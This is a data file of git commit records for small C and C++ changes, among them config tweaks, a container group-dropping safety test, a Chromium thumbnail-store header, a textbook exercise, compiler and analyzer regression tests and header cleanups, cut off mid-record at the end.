{"commit":"82b771a4edc2414a6b88ea75afa73c2d82f6b569","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef _CONFIG_H_\n#define _CONFIG_H_\n\n#define DEBUG\t\t\t\t\t0\n\n#define BADGE_MINIMUM_ID\t\t3000\t\/* Inclusive *\/\n#define BADGE_MAXIMUM_ID\t\t8000\t\/* Inclusive *\/\n\n#define HISTORY_WINDOW_SIZE\t\t128\t\n\t\/** Optionally workaround a bug whereby sequence IDs are\n\t * not held constant within a burst of identical packets\n\t *\n\t * Set to 0 to disable workaround, or 2 to ignore the bottom\n\t * two bits of all sequence IDs, since badges send 4 packets\n\t * at a time.\n\t *\/\n#define CONFIG_SEQUENCE_ID_SHIFT\t2\n\n#endif\n","new_contents":"#ifndef _CONFIG_H_\n#define _CONFIG_H_\n\n#define DEBUG\t\t\t\t\t0\n\n#define BADGE_MINIMUM_ID\t\t3000\t\/* Inclusive *\/\n#define BADGE_MAXIMUM_ID\t\t8000\t\/* Inclusive *\/\n\n#define HISTORY_WINDOW_SIZE\t\t32\t\n\t\/** Optionally workaround a bug whereby sequence IDs are\n\t * not held constant within a burst of identical packets\n\t *\n\t * Set to 0 to disable workaround, or 2 to ignore the bottom\n\t * two bits of all sequence IDs, since badges send 4 packets\n\t * at a time.\n\t *\/\n#define CONFIG_SEQUENCE_ID_SHIFT\t2\n\n#endif\n","subject":"Reduce history size to 32 buckets","message":"Reduce history size to 32 buckets\n","lang":"C","license":"agpl-3.0","repos":"nwf\/nwf-openamd-localizer,nwf\/nwf-openamd-localizer"}
{"commit":"c9b258415efd0659e53c756ccd979b33afb4e8d4","old_file":"test\/chtest\/setgroups.c","new_file":"test\/chtest\/setgroups.c","old_contents":"\/* Try to drop the last supplemental group, and print a message to stdout\n   describing what happened. *\/\n\n#include <errno.h>\n#include <grp.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#define NGROUPS_MAX 32\n\nint main()\n{\n   int group_ct;\n   gid_t groups[NGROUPS_MAX];\n\n   group_ct = getgroups(NGROUPS_MAX, groups);\n   if (group_ct == -1) {\n      printf(\"ERROR\\tgetgroups(2) failed with errno=%d\\n\", errno);\n      return 1;\n   }\n\n   fprintf(stderr, \"found %d groups; trying to drop last group %d\\n\",\n           group_ct, groups[group_ct - 1]);\n\n   if (setgroups(group_ct - 1, groups)) {\n      if (errno == EPERM) {\n         printf(\"SAFE\\tsetgroups(2) failed with EPERM\\n\");\n         return 0;\n      } else {\n         printf(\"ERROR\\tsetgroups(2) failed with errno=%d\\n\", errno);\n         return 1;\n      }\n   } else {\n      printf(\"RISK\\tsetgroups(2) succeeded\\n\");\n      return 1;\n   }\n}\n","new_contents":"\/* Try to drop the last supplemental group, and print a message to stdout\n   describing what happened. *\/\n\n#include <errno.h>\n#include <grp.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#define NGROUPS_MAX 128\n\nint main()\n{\n   int group_ct;\n   gid_t groups[NGROUPS_MAX];\n\n   group_ct = getgroups(NGROUPS_MAX, groups);\n   if (group_ct == -1) {\n      printf(\"ERROR\\tgetgroups(2) failed with errno=%d\\n\", errno);\n      return 1;\n   }\n\n   fprintf(stderr, \"found %d groups; trying to drop last group %d\\n\",\n           group_ct, groups[group_ct - 1]);\n\n   if (setgroups(group_ct - 1, groups)) {\n      if (errno == EPERM) {\n         printf(\"SAFE\\tsetgroups(2) failed with EPERM\\n\");\n         return 0;\n      } else {\n         printf(\"ERROR\\tsetgroups(2) failed with errno=%d\\n\", errno);\n         return 1;\n      }\n   } else {\n      printf(\"RISK\\tsetgroups(2) succeeded\\n\");\n      return 1;\n   }\n}\n","subject":"Raise maximum groups in chtest to the same number used in ch-run.","message":"Raise maximum groups in chtest to the same number used in ch-run.\n\nSigned-off-by: Oliver Freyermuth <297815a44ac0d229e08a814adf0f210787d04d87@googlemail.com>\n","lang":"C","license":"apache-2.0","repos":"hpc\/charliecloud,hpc\/charliecloud,hpc\/charliecloud"}
{"commit":"a61f732d9aefc8731e05ee7003c8de4e6cc72e29","old_file":"ExLauncher\/global.h","new_file":"ExLauncher\/global.h","old_contents":"\/*\nCopyright 2016 Andreas Bjerkeholt\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#ifndef _GLOBAL_H\n#define _GLOBAL_H\n\n#if defined(WIN32) || defined(_WIN32)\n#define WINDOWS\n#endif\n\n#if defined(__unix) || defined(__unix__)\n#define UNIX\n#endif\n\n#define FPS 60\n\nextern bool debugViewBounds;\nextern bool isLauncher;\n\n#endif\n","new_contents":"\/*\nCopyright 2016 Andreas Bjerkeholt\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#ifndef _GLOBAL_H\n#define _GLOBAL_H\n\n#if defined(WIN32) || defined(_WIN32)\n#define WINDOWS\n#endif\n\n#if defined(__unix) || defined(__unix__) || defined(__APPLE__)\n#define UNIX\n#endif\n\n#define FPS 60\n\nextern bool debugViewBounds;\nextern bool isLauncher;\n\n#endif\n","subject":"Add OSX-specific macro to the list of platforms detected as UNIX","message":"Add OSX-specific macro to the list of platforms detected as UNIX\n","lang":"C","license":"apache-2.0","repos":"Harteex\/ExLauncher,Harteex\/ExLauncher,Harteex\/ExLauncher"}
{"commit":"26feb1fe0c81e3545aa2bc85bc6ec7cc366049cd","old_file":"chrome\/browser\/thumbnail_store.h","new_file":"chrome\/browser\/thumbnail_store.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_THUMBNAIL_STORE_H_\n#define CHROME_BROWSER_THUMBNAIL_STORE_H_\n\n#include <vector>\n\n#include \"base\/file_path.h\"\n\nclass GURL;\nclass SkBitmap;\nstruct ThumbnailScore;\nnamespace base {\nclass Time;\n}\n\n\/\/ This storage interface provides storage for the thumbnails used\n\/\/ by the new_tab_ui.\nclass ThumbnailStore {\n public:\n  ThumbnailStore();\n  ~ThumbnailStore();\n\n  \/\/ Must be called after creation but before other methods are called.\n  \/\/ file_path is where a new database should be created or the\n  \/\/ location of an existing databse.\n  \/\/ If false is returned, no other methods should be called.\n  bool Init(const FilePath& file_path);\n\n  \/\/ Stores the given thumbnail and score with the associated url.\n  bool SetPageThumbnail(const GURL& url,\n                        const SkBitmap& thumbnail,\n                        const ThumbnailScore& score,\n                        const base::Time& time);\n\n  \/\/ Retrieves the thumbnail and score for the given url.\n  \/\/ Returns false if there is not data for the given url or some other\n  \/\/ error occurred.\n  bool GetPageThumbnail(const GURL& url,\n                        SkBitmap* thumbnail,\n                        ThumbnailScore* score);\n\n private:\n  \/\/ The location of the thumbnail store.\n  FilePath file_path_;\n\n  DISALLOW_COPY_AND_ASSIGN(ThumbnailStore);\n};\n\n#endif  \/\/ CHROME_BROWSER_THUMBNAIL_STORE_H_\n","subject":"Add an unused interface for storing thumbnails. This is to replace the history system's thumbnail storage.","message":"Add an unused interface for storing thumbnails. This is to replace the history\nsystem's thumbnail storage.\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@17028 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"keishi\/chromium,dushu1203\/chromium.src,patrickm\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,littlstar\/chromium.src,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,rogerwang\/chromium,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,littlstar\/chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,ltilve\/chromium,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,robclark\/chromium,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,keishi\/chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,robclark\/chromium,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,jaruba\/chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,rogerwang\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,keishi\/chromium,patrickm\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,robclark\/chromium,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,robclark\/chromium,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,rogerwang\/chromium,keishi\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,keishi\/chromium,markYoungH\/chromium.src,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,keishi\/chromium,Chilledheart\/chromium,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,keishi\/chromium,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,Chilledheart\/chromium,keishi\/chromium,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,robclark\/chromium,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,keishi\/chromium,ltilve\/chromium,markYoungH\/chromium.src,littlstar\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,robclark\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,robclark\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,ltilve\/chromium,rogerwang\/chromium,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,rogerwang\/chromium,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,Just-D\/chromium-1,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,robclark\/chromium,zcbenz\/cefode-chromium,dushu1203\/chromium.src,robclark\/chromium,M4sse\/chromium.src,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk"}
{"commit":"19c3bd62ad90682014c1c5d12b799d1c2d4a039d","old_file":"Chapter5\/expr.c","new_file":"Chapter5\/expr.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <ctype.h>\n#include <stdlib.h>\n\n\/\/ Exercise 5-11\n#define MAX 1000\n\nint pop(void);\nvoid push(int n);\n\nint main(int argc, char *argv[])\n{\n  while (--argc > 0 && argv++ != NULL)\n  {\n    printf(\"%s\\n\", *argv);\n    if(*argv[0] == '+')\n    {\n      push(pop() + pop());\n    }\n    else if(*argv[0] == '-')\n    {\n      int x = pop();\n      push(pop() - x);\n    }\n    \/\/ else if(*argv[0] == '*')\n    \/\/ {\n    \/\/   int x = pop();\n    \/\/   push(pop() * x);\n    \/\/ }\n    else if(*argv[0] == '\/')\n    {\n      int x = pop();\n      push(pop() \/ x);\n    }\n    else\n    {\n      push(atoi(*argv));\n    }\n  }\n\n  printf(\"%i\\n\", pop());\n  return 0;\n}\n\n\/\/ Push & Pop Functions\nstatic int stack[MAX];\nint *sp = stack;\n\nint pop(void)\n{\n  return *--sp;\n}\n\nvoid push(int n)\n{\n  *sp++ = n;\n}","subject":"Implement Exercise 5-10 for addition, subtraction, and division","message":"Implement Exercise 5-10 for addition, subtraction, and division\n","lang":"C","license":"mit","repos":"Kunal57\/C_Problems,Kunal57\/C_Problems"}
{"commit":"c3f5b426ad1425634ed5eb40bccd5fa6f4dabfd1","old_file":"libmue\/teams.h","new_file":"libmue\/teams.h","old_contents":"","new_contents":"#ifndef MUE__TEAMS_H\n#define MUE__TEAMS_H\n\n\n#include <iostream>\n\n#include \"config.h\"\n\n\nnamespace mue {\n\n\nclass Team {\n\tprivate:\n\t\tTeam_id _id;\n\n\t\tTeam() {}\n\tpublic:\n\t\tTeam(Team_id id)\n\t\t: _id(id)\n\t\t{}\n\n\t\tinline bool operator<(const Team& other)  const { return _id < other._id; }\n\t\tinline bool operator>(const Team& other)  const { return _id > other._id; }\n\t\tinline bool operator<=(const Team& other) const { return _id <= other._id; }\n\t\tinline bool operator>=(const Team& other) const { return _id >= other._id; }\n\t\tinline bool operator==(const Team& other) const { return _id == other._id; }\n\t\tinline bool operator!=(const Team& other) const { return _id != other._id; }\n\n\t\tinline bool operator<(const  Team_id other) const { return _id < other; }\n\t\tinline bool operator>(const  Team_id other) const { return _id > other; }\n\t\tinline bool operator<=(const Team_id other) const { return _id <= other; }\n\t\tinline bool operator>=(const Team_id other) const { return _id >= other; }\n\t\tinline bool operator==(const Team_id other) const { return _id == other; }\n\t\tinline bool operator!=(const Team_id other) const { return _id != other; }\n\n\t\tinline operator Team_id() const { return _id; }\n\t\tinline Team_id id() const { return _id; }\n\n};\n\nstd::ostream& operator<<(std::ostream& os, Team const& team) { return os << int(team.id()); }\n\n}\n#endif\n","subject":"Add a wrapper for Team ids","message":"Add a wrapper for Team ids\n\nWe can implement team specific functionality here if needed. At the\nmoment its only a wrapper for the team id.\n\nSigned-off-by: Jan Losinski <577c4104c61edf9f052c616c0c23e67bef4a9955@wh2.tu-dresden.de>\n","lang":"C","license":"bsd-3-clause","repos":"janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool"}
{"commit":"a17736abf56bf8c26f0ef947d5ed00afa7250c6d","old_file":"tests\/regression\/02-base\/44-malloc_array.c","new_file":"tests\/regression\/02-base\/44-malloc_array.c","old_contents":"\/\/ PARAM: --set ana.int.interval true --enable exp.partition-arrays.enabled\n#include<stdlib.h>\n#include<assert.h>\n\nint main(void) {\n    int *r = malloc(5 * sizeof(int));\n\n    r[3] = 2;\n\n    assert(r[4] == 2);\n}","new_contents":"\/\/ PARAM: --set ana.int.interval true --enable exp.partition-arrays.enabled\n#include<stdlib.h>\n#include<assert.h>\n\nint main(void) {\n    int *r = malloc(5 * sizeof(int));\n\n    r[3] = 2;\n\n    assert(r[4] == 2); \n    (* Here we only test our implementation. Concretely, accessing the uninitialised r[4] is undefined behavior.\n    In our implementation we keep the whole memory allocated by malloc as one Blob and the whole Blob contains 2 after it was assigned to r[3].\n    This is more useful than keeping the Blob unknown. *)\n}","subject":"Add explanation to the regression test 02 44","message":"Add explanation to the regression test 02 44\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"44172f701c0842fc1a31bfa93b617b361a6d3618","old_file":"OpenAL32\/Include\/alError.h","new_file":"OpenAL32\/Include\/alError.h","old_contents":"#ifndef _AL_ERROR_H_\n#define _AL_ERROR_H_\n\n#include \"alMain.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nextern ALboolean TrapALError;\n\nALvoid alSetError(ALCcontext *Context, ALenum errorCode);\n\n#define SET_ERROR_AND_RETURN(ctx, err)  do {      \\\n    alSetError((ctx), (err));                     \\\n    return;                                       \\\n} while(0)\n\n#define SET_AND_RETURN_ERROR(ctx, err)  do {      \\\n    alSetError((ctx), (err));                     \\\n    return (err);                                 \\\n} while(0)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _AL_ERROR_H_\n#define _AL_ERROR_H_\n\n#include \"alMain.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nextern ALboolean TrapALError;\n\nALvoid alSetError(ALCcontext *Context, ALenum errorCode);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Remove a duplicate and unused macro","message":"Remove a duplicate and unused macro\n","lang":"C","license":"lgpl-2.1","repos":"alexxvk\/openal-soft,irungentoo\/openal-soft-tox,arkana-fts\/openal-soft,arkana-fts\/openal-soft,franklixuefei\/openal-soft,franklixuefei\/openal-soft,aaronmjacobs\/openal-soft,BeamNG\/openal-soft,aaronmjacobs\/openal-soft,alexxvk\/openal-soft,mmozeiko\/OpenAL-Soft,Wemersive\/openal-soft,mmozeiko\/OpenAL-Soft,BeamNG\/openal-soft,irungentoo\/openal-soft-tox,Wemersive\/openal-soft"}
{"commit":"cfd41cfd0bd199672449db88d0502d37131a5c1f","old_file":"test\/Sema\/struct-decl.c","new_file":"test\/Sema\/struct-decl.c","old_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\/\/ PR3459\nstruct bar {\n  char n[1];\n};\n\nstruct foo {\n  char name[(int)&((struct bar *)0)->n];\n  char name2[(int)&((struct bar *)0)->n - 1]; \/\/expected-error{{array size is negative}}\n};\n\n\/\/ PR3430\nstruct s {\n  struct st {\n    int v;\n  } *ts;\n};\n\nstruct st;\n\nint foo() {\n  struct st *f;\n  return f->v + f[0].v;\n}\n\n\/\/ PR3642, PR3671\nstruct pppoe_tag {\n short tag_type;\n char tag_data[];\n};\nstruct datatag {\n  struct pppoe_tag hdr; \/\/expected-warning{{field 'hdr' with variable sized type 'struct pppoe_tag' not at the end of a struct or class is a GNU extension}}\n  char data;\n};\n\n\n\/\/ PR4092\nstruct s0 {\n  char a;  \/\/ expected-note {{previous declaration is here}}\n  char a;  \/\/ expected-error {{duplicate member 'a'}}\n};\n\nstruct s0 f0(void) {}\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\/\/ PR3459\nstruct bar {\n  char n[1];\n};\n\nstruct foo {\n  char name[(int)&((struct bar *)0)->n];\n  char name2[(int)&((struct bar *)0)->n - 1]; \/\/expected-error{{array size is negative}}\n};\n\n\/\/ PR3430\nstruct s {\n  struct st {\n    int v;\n  } *ts;\n};\n\nstruct st;\n\nint foo() {\n  struct st *f;\n  return f->v + f[0].v;\n}\n\n\/\/ PR3642, PR3671\nstruct pppoe_tag {\n short tag_type;\n char tag_data[];\n};\nstruct datatag {\n  struct pppoe_tag hdr; \/\/expected-warning{{field 'hdr' with variable sized type 'struct pppoe_tag' not at the end of a struct or class is a GNU extension}}\n  char data;\n};\n\n\n\/\/ PR4092\nstruct s0 {\n  char a;  \/\/ expected-note {{previous declaration is here}}\n  char a;  \/\/ expected-error {{duplicate member 'a'}}\n};\n\nstruct s0 f0(void) {}\n\n\/\/ <rdar:\/\/problem\/8177927> - This previously triggered an assertion failure.\nstruct x0 {\n  unsigned int x1;\n};\n","subject":"Add test case for <rdar:\/\/problem\/8177927> (which triggered an assertion failure in SemaChecking).","message":"Add test case for <rdar:\/\/problem\/8177927> (which triggered an assertion failure in SemaChecking).\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@108159 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"b13d509f6f8e627656f8af1bd5f262a63f31121f","old_file":"lib\/libncurses\/termcap.h","new_file":"lib\/libncurses\/termcap.h","old_contents":"\n\n#ifndef _TERMCAP_H\n#define _TERMCAP_H\t1\n\n#ifdef __cplusplus\nextern \"C\" \n{\n#endif \/* __cplusplus *\/\n\n#include <sys\/cdefs.h>\n\nextern char PC;\nextern char *UP;\nextern char *BC;\nextern short ospeed;\n\nextern int tgetent __P((char *, const char *));\nextern int tgetflag __P((const char *));\nextern int tgetnum __P((const char *));\nextern char *tgetstr __P((const char *, char **));\n\nextern int tputs __P((const char *, int, int (*)(int)));\n\nextern char *tgoto __P((const char *, int, int));\nextern char *tparam __P((const char *, char *, int, ...));\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _TERMCAP_H *\/\n","new_contents":"#ifndef _TERMCAP_H\n#define _TERMCAP_H\t1\n\n#include <sys\/cdefs.h>\n\n__BEGIN_DECLS\n\nextern char PC;\nextern char *UP;\nextern char *BC;\nextern short ospeed;\n\nextern int tgetent __P((char *, const char *));\nextern int tgetflag __P((const char *));\nextern int tgetnum __P((const char *));\nextern char *tgetstr __P((const char *, char **));\n\nextern int tputs __P((const char *, int, int (*)(int)));\n\nextern char *tgoto __P((const char *, int, int));\nextern char *tparam __P((const char *, char *, int, ...));\n\n__END_DECLS\n\n#endif \/* _TERMCAP_H *\/\n","subject":"Make this file more BSD-like","message":"Make this file more 